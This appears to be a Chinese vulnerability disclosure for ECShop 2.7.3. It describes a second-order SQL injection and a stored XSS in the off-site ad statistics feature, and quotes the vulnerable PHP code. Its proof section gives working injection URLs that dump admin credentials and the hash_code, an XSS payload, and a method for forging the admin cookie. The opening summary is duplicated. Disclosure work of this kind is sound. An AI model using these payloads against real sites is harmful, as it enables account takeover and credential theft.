### 简要描述: 一个功能点的SQL注入和存储XSS,内含多种技巧,我觉得我就是个艺术家~~ ### 详细说明: 刚下的ecshop V2.7.3版本~ 1.漏洞存在于站外广告统计功能(对应管理后台的报表统计->站外投放JS),即/affiche.php页面,将from参数(网站来源referer)存储到了数据库表ecs_adsense,而在后台的“站外投放JS”读取出来未过滤又进入了sql语句,导致二次注入。 ``` /affiche.php 119行 $sql = "INSERT INTO " . $ecs->table('adsense') . "(from_ad, referer, clicks) VALUES ('-1', '" . $site_name . "', '1')"; //$site_name即$_GET['from']存库了 ``` ``` /admin/adsense.php 47-49行 /* 获取当前广告所产生的订单总数 */ $sql2 = 'SELECT COUNT(order_id) FROM ' .$ecs->table('order_info'). " WHERE from_ad='$rows[ad_id]' AND referer='$rows[referer]'"; //看到了吧,未再次addslashes导致注入 $rows['order_num'] = $db->getOne($sql2); ``` 2.同时,输出时未对字段referer过滤,导致存储XSS。 3.存储XSS得到cookie本来就可以登录后台了,但我咋能这么简单?SQL注入两条得到ecs_shop_config里的hash_code和管理员的username+password,自己生成COOKIE岂不更爽? ``` /admin/privilege.php 136-141行 if (isset($_POST['remember'])) { $time = gmtime() + 3600 * 24 * 365; setcookie('ECSCP[admin_id]', $row['user_id'], $time); setcookie('ECSCP[admin_pass]', md5($row['password'] ....
### 简要描述: 一个功能点的SQL注入和存储XSS,内含多种技巧,我觉得我就是个艺术家~~ ### 详细说明: 刚下的ecshop V2.7.3版本~ 1.漏洞存在于站外广告统计功能(对应管理后台的报表统计->站外投放JS),即/affiche.php页面,将from参数(网站来源referer)存储到了数据库表ecs_adsense,而在后台的“站外投放JS”读取出来未过滤又进入了sql语句,导致二次注入。 ``` /affiche.php 119行 $sql = "INSERT INTO " . $ecs->table('adsense') . "(from_ad, referer, clicks) VALUES ('-1', '" . $site_name . "', '1')"; //$site_name即$_GET['from']存库了 ``` ``` /admin/adsense.php 47-49行 /* 获取当前广告所产生的订单总数 */ $sql2 = 'SELECT COUNT(order_id) FROM ' .$ecs->table('order_info'). " WHERE from_ad='$rows[ad_id]' AND referer='$rows[referer]'"; //看到了吧,未再次addslashes导致注入 $rows['order_num'] = $db->getOne($sql2); ``` 2.同时,输出时未对字段referer过滤,导致存储XSS。 3.存储XSS得到cookie本来就可以登录后台了,但我咋能这么简单?SQL注入两条得到ecs_shop_config里的hash_code和管理员的username+password,自己生成COOKIE岂不更爽? ``` /admin/privilege.php 136-141行 if (isset($_POST['remember'])) { $time = gmtime() + 3600 * 24 * 365; setcookie('ECSCP[admin_id]', $row['user_id'], $time); setcookie('ECSCP[admin_pass]', md5($row['password'] . $_CFG['hash_code']), $time); } ``` ### 漏洞证明: ``` http://localhost/test/ecshop/affiche.php?from=a.baidu.com'%20and%201=2%20union%20select%20group_concat(user_id,'|',user_name,'|',password)%20from%20ecs_admin_user%20order%20by%201%20desc%23&ad_id=-1 //注入得管理员信息 http://localhost/test/ecshop/affiche.php?from=a.baidu.com'%20and%201=2%20union%20select%20%20value%20FROM%20`ecs_shop_config`%20WHERE%20code%20=%20'hash_code'%20order%20by%201%20desc%23&ad_id=-1 //注入得hash_code http://localhost/test/ecshop/affiche.php?from=a.baidu.com%3Cscript%3Ealert(1)%3C/script%3E&ad_id=-1 //XSS,当然,我使用了xsser.me获取页面上的信息 ``` [<img src="https://images.seebug.org/upload/201305/06203246ceee535abe58f90a4f38691d9a45d07a.png" alt="1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201305/06203246ceee535abe58f90a4f38691d9a45d07a.png) [<img src="https://images.seebug.org/upload/201305/06203325082fe5b1bcd66655dbc434e403080f5b.png" alt="2.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201305/06203325082fe5b1bcd66655dbc434e403080f5b.png) [<img src="https://images.seebug.org/upload/201305/06203345305e4de92929e4fa100753726b3a3606.png" alt="3.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201305/06203345305e4de92929e4fa100753726b3a3606.png) [<img src="https://images.seebug.org/upload/201305/062040040c4c9f157b6a677843ae249692ea3b5b.png" alt="4.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201305/062040040c4c9f157b6a677843ae249692ea3b5b.png)